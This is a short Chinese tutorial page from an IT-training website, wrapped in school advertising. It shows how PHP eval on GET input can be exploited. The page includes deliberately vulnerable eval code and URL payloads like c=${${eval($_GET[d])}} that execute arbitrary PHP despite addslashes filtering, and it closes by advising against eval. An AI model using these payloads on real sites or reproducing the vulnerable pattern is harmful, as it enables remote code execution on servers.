软件培训网

欢迎访问软件培训网!招生咨询电话与微信:15225191462(周老师)
软件培训网,专业解决学IT疑难杂症!

首页 > php技术/ 正文

PHP技术之EVAL的利用防范

2013-12-12 09:58:42 软件培训网

 前段时间一个程序出的问题。就和这差不多。l6Z软件IT培训网-河南郑州IT培训

 
<?php
$code="${${eval($_GET[c])}}";
?> 
对于上面的代码。如果在URL提交http://www-phpeval-cn/test-php?c=phpinfo(); 就可以发现phpinfo()被执行了。而相应的提交c=echo 11111; 发现1111也被输出了。这个代码被执行了。
(好些PHP的代码在写文件的时候。都没有注意到这一点。他们在代码中写php的文件的时候。把代码加在双引号之内。然后过滤掉双引号。认为这样就不能执行了。实际上是可以的。)
还有一些利用方式,比如:
 
 
 
<?php
$code=addslashes($_GET[c]);
eval(""$code""); 
?> 
提交 http://www-site.-cn/test-php?c=${${phpinfo()}}; phpinfo()就被执行。如果提交
http://www-site-cn/test-php?c=${${eval($_GET[d])}};&d=phpinfo();
这样的话,d后面的代码也被执行。
 
解决方法:
 
eval函数减弱了你的应用的安全性,因为它给被求值的文本赋予了太多的权力。强烈建议不要使用eval函数。

Tags:安阳有电脑培训学校吗,郑州技术学校哪个好,河南计算机专科单招学校,河南学计算机技术学校有哪些,河南北大青鸟计算机培训招生,周口中专计算机学校哪家不错

搜索
软件培训学校哪家好,就来软件培训网咨询
软件培训学校哪家好,就来软件培训网咨询
热门标签
软件培训学校哪家好,就来软件培训网咨询
软件培训学校哪家好,就来软件培训网咨询
软件培训学校哪家好,就来软件培训网咨询
  • QQ交谈